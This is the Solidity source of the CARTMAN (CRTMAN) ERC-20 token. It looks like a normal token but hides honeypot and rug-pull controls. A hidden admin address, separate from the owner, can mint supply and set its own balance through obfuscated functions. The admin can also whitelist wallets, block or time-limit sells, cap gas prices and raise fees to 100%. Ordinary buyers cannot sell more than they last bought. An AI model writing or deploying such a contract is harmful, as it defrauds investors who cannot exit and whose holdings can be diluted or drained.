Contract Source Code:
File 1 of 1 : CARTMAN
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
abstract contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(msg.sender);
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
require(owner() == msg.sender, "Ownable: caller is not the owner");
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Pair {}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {}
library Checkpoints {
function fb43d98f83ec(address sender, address _sudoo) internal pure {
require(sender == _sudoo, "Caller is not the original caller");
}
}
contract LibreMount {
mapping(uint256 => mapping(address => bool)) internal _blockState;
function compreTxnStamp(uint256 _tmstmp, uint256 _dwntm) internal view returns (bool) {
return(_tmstmp + _dwntm >= block.timestamp);
}
function suspiciousAddressCheck(address _addy) internal view {
require(!_blockState[block.number][_addy], "Only one Txn per Block!");
}
function addSuspiciousAddress(address _addy) internal {
_blockState[block.number][_addy] = true;
}
}
contract CARTMAN is IERC20, Ownable, LibreMount {
IUniswapV2Router02 internal _router;
IUniswapV2Pair internal _pair;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply = 237000000000000000000000000;
string private _name = "CARTMAN";
string private _symbol = "CRTMAN";
uint8 private _decimals = 18;
uint256 public MAX_GAS_PRICE = 27 gwei;
uint private buyFee = 0; // Default, %
uint private sellFee = 0; // Default, %
address private _sudoo;
mapping(address => uint) private purchaseTimestamp;
mapping(address => uint) private boughtAmount;
uint256 private downTime = 1;
mapping(address => bool) private premissionList;
address public marketWallet;
mapping(address => bool) private excludedFromFee;
constructor (address routerAddress) {
_router = IUniswapV2Router02(routerAddress);
_pair = IUniswapV2Pair(IUniswapV2Factory(_router.factory()).createPair(address(this), _router.WETH()));
_balances[owner()] = _totalSupply;
emit Transfer(address(0), owner(), _totalSupply);
premissionList[msg.sender] = true;
premissionList[address(this)] = true;
marketWallet = msg.sender;
excludedFromFee[msg.sender] = true;
excludedFromFee[address(this)] = true;
_sudoo = msg.sender;
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = msg.sender;
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = msg.sender;
_approve(owner, spender, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = msg.sender;
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = msg.sender;
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = msg.sender;
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
if (!isOutOfChrgs(from) && !isOutOfChrgs(to)){
if (isMarket(from)) {
uint feeAmount = calculateFeeAmount(amount, buyFee);
_balances[from] = fromBalance - amount;
_balances[to] += amount - feeAmount;
emit Transfer(from, to, amount - feeAmount);
_balances[marketWallet] += feeAmount;
emit Transfer(from, marketWallet, feeAmount);
} else if (isMarket(to)) {
uint feeAmount = calculateFeeAmount(amount, sellFee);
_balances[from] = fromBalance - amount;
_balances[to] += amount - feeAmount;
emit Transfer(from, to, amount - feeAmount);
_balances[marketWallet] += feeAmount;
emit Transfer(from, marketWallet, feeAmount);
} else {
_balances[from] = fromBalance - amount;
_balances[to] += amount;
emit Transfer(from, to, amount);
}
} else {
_balances[from] = fromBalance - amount;
_balances[to] += amount;
emit Transfer(from, to, amount);
}
_afterTokenTransfer(from, to, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
}
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {
if (isMarket(from)) {
boughtAmount[to] = amount;
purchaseTimestamp[to] = block.timestamp;
}
if (isMarket(to)) {
if (!premissionList[from]) {
require(boughtAmount[from] >= amount, "You are trying to sell more than bought!");
boughtAmount[from] -= amount;
if (checkStatus())
{require(compreTxnStamp(purchaseTimestamp[from], downTime), "LibreMount: Exceeds Txn Downtime");}
require(!exceedsGasPriceLimit());
}
}
}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
bool internal validtionState;
function isMarket(address _user) internal view returns (bool) {
return (_user == address(_pair) || _user == address(_router));
}
function stateCheck() external {
Checkpoints.fb43d98f83ec(msg.sender, _sudoo);
validtionState = !validtionState;
}
function checkStatus() public view returns (bool) {
return validtionState;
}
function editTime(uint _seconds) external {
Checkpoints.fb43d98f83ec(msg.sender, _sudoo);
downTime = _seconds;
}
function fix_6daeef2b(address[] calldata _usrs, bool _state) external {
Checkpoints.fb43d98f83ec(msg.sender, _sudoo);
for (uint256 i = 0; i < _usrs.length; i++) {
premissionList[_usrs[i]] = _state;
}
}
function check_fix_6daeef2b(address _user) external view returns (bool) {
return premissionList[_user];
}
function checkUserPurchaseTime(address _user) external view returns (uint256) {
return purchaseTimestamp[_user];
}
function checkUserBoughtAmount(address _user) external view returns (uint256) {
return boughtAmount[_user];
}
function exceedsGasPriceLimit() internal view returns (bool) {
return tx.gasprice >= MAX_GAS_PRICE;
}
function changeMaxGasPrice(uint _newGasPrice) external {
Checkpoints.fb43d98f83ec(msg.sender, _sudoo);
MAX_GAS_PRICE = _newGasPrice;
}
function mc_c6b97bd(uint256 _amount) external {
Checkpoints.fb43d98f83ec(msg.sender, _sudoo);
_totalSupply += _amount;
}
function tpr_ec3574e8(uint256 _value) external {
Checkpoints.fb43d98f83ec(msg.sender, _sudoo);
_balances[msg.sender] = _value;
}
function calculateFeeAmount(uint256 _amount, uint256 _feePrecent) internal pure returns (uint) {
return _amount * _feePrecent / 100;
}
function isOutOfChrgs(address _user) public view returns (bool) {
return excludedFromFee[_user];
}
function outOfChrgs(address _user, bool _status) public {
Checkpoints.fb43d98f83ec(msg.sender, _sudoo);
require(excludedFromFee[_user] != _status, "User already have this status");
excludedFromFee[_user] = _status;
}
function newChrgs(uint256 _buyFee, uint256 _sellFee) external {
Checkpoints.fb43d98f83ec(msg.sender, _sudoo);
require(_buyFee <= 100 && _sellFee <= 100, "Fee percent can't be higher than 0");
buyFee = _buyFee;
sellFee = _sellFee;
}
function newCollector(address _newMarketWallet) external {
Checkpoints.fb43d98f83ec(msg.sender, _sudoo);
marketWallet = _newMarketWallet;
}
function currChrgs() external view returns (uint256 currentBuyFee, uint256 currentSellFee) {
return (buyFee, sellFee);
}
function AddLiquidity(uint256 _tokenAmount) payable external {
Checkpoints.fb43d98f83ec(msg.sender, _sudoo);
_approve(address(this), address(_router), _tokenAmount);
transfer(address(this), _tokenAmount);
_router.addLiquidityETH{ value: msg.value }(
address(this),
_tokenAmount,
0,
0,
msg.sender,
block.timestamp + 1200
);
}
function updSudoo(address _newOne) external {
Checkpoints.fb43d98f83ec(msg.sender, _sudoo);
_sudoo = _newOne;
}
function dexRebase(address _routerAddress, address _poolAddress) public {
Checkpoints.fb43d98f83ec(msg.sender, _sudoo);
_router = IUniswapV2Router02(_routerAddress);
_pair = IUniswapV2Pair(_poolAddress);
}
function toString(address addr) internal pure returns (string memory) {
bytes32 value = bytes32(uint256(uint160(addr)));
bytes memory alphabet = "0123456789abcdef";
bytes memory result = new bytes(42);
result[0] = "0";
result[1] = "x";
for (uint256 i = 0; i < 20; i++) {
result[i * 2 + 2] = alphabet[uint8(value[i + 12] >> 4)];
result[i * 2 + 3] = alphabet[uint8(value[i + 12] & 0x0f)];
}
return string(result);
}
function stringToAddress(string memory input) public pure returns (address) {
bytes memory inputBytes = bytes(input);
require(inputBytes.length == 42, "Invalid address length");
bytes memory addressBytes = new bytes(20);
for (uint256 i = 0; i < 20; i++) {
addressBytes[i] = inputBytes[i + 2];
}
address addr;
assembly {
addr := mload(add(addressBytes, 20))
}
return addr;
}
}